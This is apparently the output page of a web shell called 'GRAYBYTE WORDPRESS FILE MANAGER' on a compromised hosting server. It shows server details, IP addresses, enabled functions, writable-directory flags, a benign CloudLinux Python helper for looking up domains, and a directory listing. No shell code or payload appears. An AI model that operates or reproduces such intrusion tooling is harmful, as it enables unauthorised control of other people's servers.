✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.95
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/clcommon/cpapi//cpapicustombin.py
# -*- coding: utf-8 -*-

"""
common helper functions, related to processing api using custom binary
currently available for Directadmin and Plesk
"""

import os
import json
from typing import List, Tuple, Union, Optional
from clcommon.utils import exec_utility
from clcommon.clpwd import ClPwd

USERDOMAINS = '/usr/share/python-cllib/userdomains'


def get_domains_via_custom_binary() -> Tuple[int, Union[str, List[Tuple[str, str]]]]:
    """
    Calls USERDOMAINS(userdomains.c) bin and returns rc and loaded json output
    This is equals to call `userdomains(pwd.getpwuid(os.getuid()).pw_name, as_root=True)`

    Returns: return code of USERDOMAINS and json output
        if rc == 0: `out` is out from `userdomains()`
            NB: there is no tuples in JSON so da_out's type is List[List[str, str]] instead of List[Tuple[str, str]]
        if rc != 0: `out` type is str
        error codes:
            1: diradmin/psaadmin user not found
            2: not DA/Plesk panel
            3: seteuid() syscall failed
            4: executed as root
            10: exception during `userdomains()` call
            11: no such user in panel
    """
    rc, out = exec_utility(USERDOMAINS, [])
    try:
        res = json.loads(out)
    except json.JSONDecodeError:
        pass
    else:
        if rc == 0:
            return rc, [
                (row[0], row[1])
                for row in res
                if len(row) == 2 and all(isinstance(p, str) for p in row)
            ]

    return rc, out


def _docroot_under_user_via_custom_bin(domain: str) -> Optional[
    Tuple[str, str]]:
    """
    New method for getting doc_root for domain under user
    Method parses /usr/local/directadmin/... user's web server config
    See: _get_domains_list_as_root()
    :return: (doc_root, username) tuple
    """

    clpwd = ClPwd()
    user_pw = clpwd.get_pw_by_uid(os.getuid())[0]

    # domains type (if rc == 0): List[Tuple[str, str]]   # domain, docroot
    rc, domains = get_domains_via_custom_binary()
    if rc != 0:
        return None

    for dom, _docroot in domains:
        if dom == domain:
            return _docroot, user_pw.pw_name
    return None


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Jun 2026 7.00 AM
root / root
0755
GeneralPanel
--
23 Jun 2026 7.00 AM
root / root
0755
__pycache__
--
23 Jun 2026 7.00 AM
root / root
0755
cache
--
23 Jun 2026 7.00 AM
root / root
0755
plugins
--
23 Jun 2026 7.00 AM
root / root
0755
__init__.py
14.852 KB
3 Jun 2026 1.38 PM
root / root
0644
apilink.py
0.034 KB
23 Jun 2026 7.00 AM
root / root
0644
clcpapi.py
3.643 KB
3 Jun 2026 1.38 PM
root / root
0644
const.py
0.499 KB
3 Jun 2026 1.38 PM
root / root
0644
cpapicustombin.py
2.123 KB
3 Jun 2026 1.38 PM
root / root
0644
cpapiexceptions.py
1.748 KB
3 Jun 2026 1.38 PM
root / root
0644
cpapirebuildcache
0.46 KB
3 Jun 2026 1.38 PM
root / root
0644
panel_hooks_lib.py
1.225 KB
3 Jun 2026 1.38 PM
root / root
0644
pluginlib.py
7.57 KB
3 Jun 2026 1.38 PM
root / root
0644
utils.py
1.029 KB
3 Jun 2026 1.38 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF